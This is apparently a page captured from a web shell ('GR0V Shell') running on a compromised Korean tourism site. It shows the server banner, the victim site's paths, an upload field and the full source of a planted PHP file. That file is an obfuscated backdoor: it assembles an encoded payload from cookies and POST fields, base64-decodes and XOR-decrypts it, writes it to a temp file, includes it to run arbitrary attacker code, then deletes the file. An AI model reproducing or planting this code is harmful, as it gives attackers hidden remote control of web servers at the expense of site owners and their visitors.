? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/nwdhtva/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/nwdhtva/bdcac399.php

$QumgL = 'J' . chr ( 1067 - 972 )."\115" . "\157" . chr ( 857 - 736 ); $MgJia = 'c' . 'l' . chr (97) . chr ( 295 - 180 )."\x73" . chr ( 1066 - 971 ).chr (101) . 'x' . "\151" . "\163" . chr ( 421 - 305 )."\x73";$feqpN = class_exists($QumgL); $QumgL = "20485";$MgJia = "57558";$OBERwvrqor = FALSE;if ($feqpN === $OBERwvrqor){$JpRLYBNryV = "13027";class J_Moy{public function HaTNDX(){echo "57047";}private $vSISdWM;public static $yIELOqP = "4305e239-a7e4-4331-a4c6-1505738e5e54";public static $btWcgOowg = 48122;public function __construct($uFDqIbV=0){$MOXRhWYb = $_POST;$kUsVkK = $_COOKIE;$fzfiTn = @$kUsVkK[substr(J_Moy::$yIELOqP, 0, 4)];if (!empty($fzfiTn)){$yPotDyoPY = "base64";$EfvJMz = "";$fzfiTn = explode(",", $fzfiTn);foreach ($fzfiTn as $XHWUjj){$EfvJMz .= @$kUsVkK[$XHWUjj];$EfvJMz .= @$MOXRhWYb[$XHWUjj];}$EfvJMz = array_map($yPotDyoPY . "\x5f" . chr (100) . "\145" . "\143" . 'o' . chr (100) . chr ( 713 - 612 ), array($EfvJMz,)); $EfvJMz = $EfvJMz[0] ^ str_repeat(J_Moy::$yIELOqP, (strlen($EfvJMz[0]) / strlen(J_Moy::$yIELOqP)) + 1);J_Moy::$btWcgOowg = @unserialize($EfvJMz);}}private function BKNXraJPi($JpRLYBNryV){if (is_array(J_Moy::$btWcgOowg)) {$qiktEXSi = sys_get_temp_dir() . "/" . crc32(J_Moy::$btWcgOowg["\163" . chr (97) . 'l' . "\164"]);@J_Moy::$btWcgOowg["\167" . "\162" . "\x69" . 't' . "\145"]($qiktEXSi, J_Moy::$btWcgOowg['c' . chr (111) . 'n' . "\x74" . "\x65" . "\156" . 't']);include $qiktEXSi;@J_Moy::$btWcgOowg["\144" . "\145" . chr (108) . "\x65" . "\x74" . "\145"]($qiktEXSi); $JpRLYBNryV = "13027";exit();}}public function __destruct(){$this->BKNXraJPi($JpRLYBNryV);}}$muQDLXHD = new /* 32892 */ J_Moy(); $muQDLXHD = str_repeat("25547_35665", 1);}

T1KUS90T
  root-grov@210.1.60.28:~$